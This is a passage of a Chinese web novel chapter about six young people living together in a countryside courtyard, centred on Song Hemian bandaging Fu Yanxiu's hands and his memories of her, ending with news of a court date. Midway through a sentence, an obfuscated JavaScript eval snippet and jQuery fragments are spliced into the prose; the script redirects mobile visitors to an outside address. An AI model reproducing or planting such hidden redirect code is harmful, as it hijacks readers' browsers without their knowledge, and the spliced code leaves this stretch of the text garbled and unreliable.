而此刻,这个动词的释义大概是——
吃饱了,还在一起。
吃完饭,夏叙言主动揽下了洗碗的活。
“今天你们都辛苦了,我来我来!”他撸起袖子,把碗筷摞在一起,端到井边。
沈摘星跟过去帮忙,两个人蹲在井边,一个洗一个冲,水花溅得到处都是。
夏叙言故意往她那边甩水,沈摘星尖叫着躲开,然后捧了一捧水泼回去。
“夏叙言!”
“哈哈哈哈哈哈哈哈!”
两个人闹成一团,笑声比水花还溅得远。
傅砚修坐在石凳上,抬头看了看月亮,像是在思考什么。
宋鹤眠走过去,在他旁边坐下,“手拿出来。”
傅砚修转头,愣了一下,“嗯?”
宋鹤眠没说话,只是从身后拿出消毒棉球和干净的布巾。
吃饭的时候她就注意到了,他两只手都蹭破了皮,可能是在地里干活时弄的,自己都不在乎。
傅砚修低头看了看自己的手,又看了看她手里的东西,下意识把手往后缩了缩。
“没事,小口子。”
宋鹤眠没理他,直接把他的手拉过来,动作很轻,但不容拒绝。
棉球按上去的时候,傅砚修轻轻吸了口气,眉毛皱了皱,但没抽回去。
宋鹤眠低着头,借着月光和远处透来的灯光,仔细地给他清理那道口子。棉球蘸着碘伏,一点点把上面的泥擦掉。
“疼吗?”
“不疼。”傅砚修说。
话音刚落,她又按了一下,他嘴角动了动,改口,“……一点点。”
宋鹤眠嘴角弯了弯,没抬头,“疼了就说,你不说我怎么知道弄疼你了呢。”
旁边的水声和笑声还在继续,夏叙言和沈摘星不知道又在闹什么,水花溅得到处都是。但石凳这边,安静得像另一个世界。
傅砚修看着她,月光落在她低垂的侧脸上,把她平时的清冷照得柔和了一些。
他忽然不知道该说什么。
宋鹤眠把伤口清理干净,拿布巾包好,打了个结,动作利落得像做过很多次。
“好了。”她松开手,准备站起来。
“等等。”
宋鹤眠顿住,转头看他。
傅砚修低头看着手上那个整齐的结,抿了抿唇,憋出一句,“谢谢。”
宋鹤眠看了他一秒,然后站起来,“以后小心点。”
她转身往屋里走。
傅砚修看她走进屋子才抬起手,凑到月光下看了看。
白色的布条缠得规整,收尾处还特意留了个小环,方便拆的时候拉。
这种手法,要么是常年处理伤口练出来的,要么就是心思细到连这种小事都要做得妥帖。
他盯着那个结,指尖无意识地摩挲着边缘。
他想起刚才她低头的样子,睫毛垂下来,在眼睑上落一小片阴影,表情专注得像在做什么重要的事。
棉球擦过伤口的时候,动作很轻,轻到他几乎感觉不到疼。
只有碘伏按上去那一瞬间,有一点刺,但她问了“疼吗”之后,手上的动作好像又轻了一点。
那样的小心翼翼。
不像她平时的样子。
他认识的那个宋鹤眠,总是淡淡的,淡淡的说话,淡淡的吃饭,淡淡地坐在一边看月亮。
她像隔着一层什么东西,让人看不清,也猜不透。
可刚才那几分钟,那层东西好像薄了一点。
他看见了她低垂的睫毛,看见了她微微抿着的嘴唇,看见了她手指碰到他手心时那一点不易察觉的停顿。
都是很小的细节。
但他记住了。
傅砚修低头看着手上那个结,忽然想起刚认识她的时候。
那是五年前,宋家的一次宴会。
他还记得那个晚上,水晶吊灯晃得人眼花,觥筹交错间全是客套的笑脸。
他站在人群边缘,端着一杯没怎么喝的香槟,安静地观察着那些陌生的面孔。
那时候他还不姓傅,他是以京城另一家世家少爷身份出席的。
所有人都在打量他。
探究的、好奇的、不屑的,什么样的眼神都有。
但有一个人的眼神不一样。
她站在人群另一侧,穿着深色的长裙,端着一杯红酒。
隔着大半个厅堂,她的目光落在他身上,没有打量,没有探究,没有那些弯弯绕绕的东西。
就只是看着他。
直直地,毫不掩饰地看着他。
他当时想,这个人是谁?为什么这样看我?
后来他知道了。
她叫宋鹤眠。宋家的女儿。
后来渐渐不一样了,但具体什么时候开始不一样的,他说不上来。
京圈就这么大,宴会、酒会、拍卖会,抬头不见低头见,他总能看见她。
有时候隔着人群,有时候隔着几张桌子,有时候只是擦肩而过。
她从不主动上前搭话,但每次他看过去的时候,总能对上她的目光。
直直的,毫不掩饰。
像是在说:我知道你在看我。
他心里那点异样,就这么一点点积累下来。
像水滴在石头上,无声无息,但久了,总会留下痕迹。
直到那一天,她将自己桎梏在车身说,“被我盯上的猎物从来没有逃脱过。”
回忆到这里,他的耳根忽然烧起来,一股酥麻感从耳廓蔓延到喉结,他下意识滚动了一下喉结,却压不住那阵莫名的悸动。
她这是真心,还是手段?
这个问题在脑子里转了好几圈。
按理说,他应该怀疑的。
她是有目的的,这一点他一直都知道。
从第一次见面,她看他的眼神就不对。那种直直的、毫不掩饰的注视,像是在看一个早就被标记好的猎物。
后来他知道了她的身份,知道了她身后那些复杂的盘根错节,更确定了一件事,她接近他,不可能没有原因。
他见过太多带着目的靠近的人了。
那些笑容,那些关心,那些恰到好处的温柔,最后都会露出底下的算盘。
他早就学会了分辨,学会了防备,学会了在别人靠近之前先把距离拉开。
可她不一样。
她从不掩饰自己的目的。
她不装,不演,不搞那些弯弯绕绕。
她就是直直地看着他,直直地靠近,直直地把那句话扔在他面前。
没有甜言蜜语,没有刻意讨好,甚至没有一个像样的解释。
就那么一句话,砸过来。
让他连防备的力气都没有。
因为她没有给他需要防备的东西。
她不要他放下戒心,不要他卸下伪装,不要他变成另一个人。
她只是看着他,等着他。
要的只是他的动心。
傅砚修低头看着手上那个结,摩挲着指尖。
风从玉兰树那边吹过来,带着夜晚的凉意。
他低头看着那个结,忽然觉得心里有什么东西,松动了一下。
像一扇一直关着的门,被风吹开了一条缝。
不宽,就一条缝。
但已经有光透进来了。
他盯着那个结。
想了很久。
最后他把手放下来,另一只手覆上去,轻轻压了压。
那个结还在。
他没有拆。
灶房门口,李乘歌靠在门框上,看着院子里东一堆西一撮的人。
夏叙言和沈摘星还在井边闹,水花溅得到处都是,两个人的衣服都湿了半截,但谁也不肯先停手。
傅拭雪从灶房里走出来,在她身边站定。
两个人就那么站着,谁也没说话。
看了一会儿,李乘歌忽然开口,“你说,他们以后会记得今天吗?”
傅拭雪侧头看她,“记得什么?”
“记得这顿饭。”李乘歌指了指院子里那些画面,“记得这些。”
傅拭雪顺着她的目光看过去。
夏叙言终于被沈摘星泼了一脸水,正甩着脑袋往后退。沈摘星得胜似的举着水瓢,笑得直不起腰。傅砚修被那边的动静吸引,抬起头看了一眼,宋鹤眠放好东西后坐到傅砚修身旁。
傅拭雪看了一会儿,“会吧。”
李乘歌转头看他。
他正看着她,眼神安静,“至少我会。”
李乘歌愣了一下。
风从院子里穿过来,带着夜晚的凉意和夏叙言他们的笑声。
她忽然不知道该说什么。
傅拭雪也没再说话。
两个人就那么站着,看着院子里那些闹腾的人,看着灯光把他们的影子拉得长长的,看着月亮慢慢升到玉兰树顶上。
过了很久,李乘歌轻轻“嗯”了一声。
傅拭雪嘴角动了动。
夜深了。
沈摘星第
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310836|198833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个困了,脑袋一点一点的,被夏叙言催着去睡觉。
傅砚修站起来活动了一下脖子,也往屋里走。走了两步,又回头看了一眼还坐在石凳上的宋鹤眠。
“你不睡?”
宋鹤眠摇摇头,“再坐会儿。”
傅砚修点点头,进去了。
院子里慢慢安静下来。
李乘歌从灶房门口走过来,在宋鹤眠旁边坐下。
两个人都没说话,就那么坐着,看月亮。
过了好一会儿,宋鹤眠忽然开口,“你刚才说的那些……向往的生活。”
李乘歌转头看她。
宋鹤眠顿了顿,像是在想怎么措辞。
“我以前觉得,这些东西离我很远。”她说,声音很轻,“远的像月亮。”
李乘歌没接话,只是听着。
“但现在。”宋鹤眠看着月亮,嘴角动了动,“好像也没那么远了。”
李乘歌看着她。
月光落在宋鹤眠脸上,把她一贯清冷的轮廓照得柔和了一些。
“挺好的。”李乘歌说。
宋鹤眠转头看她。
“你也是其中一部分。”李乘歌笑了笑,“这生活。”
宋鹤眠愣了一下。
然后她移开目光,继续看月亮。
过了几秒,轻轻“嗯”了一声。
屋里,傅砚修躺在那张小床上,盯着天花板发呆。
隔壁床,夏叙言已经打起了呼噜。
再隔壁,傅拭雪的床空着。
傅砚修翻了个身,窗外透进来的月光落在枕边,刚好照在他手上。他侧躺着,那只包着布巾的手就放在眼前,白色的结在月光里格外显眼。
他没动,就那么盯着那个结看。
他盯着那个结看了很久。
久到月光移了一点位置,久到隔壁床夏叙言的呼噜声都变得绵长。
然后他翻了个身,闭上眼睛。
手还放在枕边,那个结贴着虎口,随着心跳一下一下地轻轻蹭着。
窗外,月光静静地洒着。
院子里,两个看月亮的人还坐在那儿。
风很轻,夜很深。
日子还长。
日子就这么过着,一天一天,琐碎又踏实。
六个人每天忙完田里的菜苗和果苗,回到院子里还有一堆事等着。
傅拭雪和李乘歌负责做饭,一个掌勺一个打下手,配合得越来越默契。
夏叙言和傅砚修被分配去喂鸡、摘菜、劈柴,两个人一个话多一个话少,凑在一起倒也没出过乱子。
宋鹤眠在辅导沈摘星功课,偶尔抬头看一圈院子里的热闹,嘴角就弯一下。
吃过晚饭,大家各干各的。
夏叙言拉着沈摘星在院子里打羽毛球,球经常飞进花坛里,然后两人又提溜提溜地跑去捡。
傅砚修坐在石凳上,看着电脑上的书籍,宋鹤眠有时候在他旁边坐着,有时候在院子里散步,两个人偶尔说几句话,两人的相处没了之前那样的冰冷。
李乘歌洗完碗,靠在灶房门口看院子里的人。
傅拭雪有时候在她旁边站着,有时候去给夏叙言他们捡球,有时候只是坐在石凳上,和她一起看。
日子就这么过着。
直到三天后的傍晚。
夕阳刚要往下沉,一辆电瓶车停在院门口。
汪小雅从车上下来,在院门前瞧了瞧几眼。
李乘歌正在院子里收衣服,看见她,手上的动作顿了一下。
“小雅姐?”
汪小雅点点头,往屋里看了一眼,“摘星在吗?”
李乘歌把手里的衣服搭在竹竿上,笑了笑,“在屋里写作业,我去叫她——”
“不用。”汪小雅摆摆手,“我们进去说。”
李乘歌的笑意收了一点,她点点头,领着汪小雅往屋里走。
傅拭雪刚从灶房出来,手里还端着洗好的碗。看见来人,又看见李乘歌脸上那副表情,他没说话,只是把碗放在旁边的石桌上,擦了擦手,走到她身边站着。
屋里,沈摘星正趴在桌上写作业,听见动静抬起头。
看见汪小雅,她愣了一下,然后下意识站起来,手不知道往哪放,在衣角上蹭了蹭。
“汪阿姨……”
汪小雅走过去,在她对面坐下。她把公文包放在旁边,看着沈摘星的眼睛,语气比平时慢了几分,也轻了几分。
“摘星,你那事儿,下周开庭了。”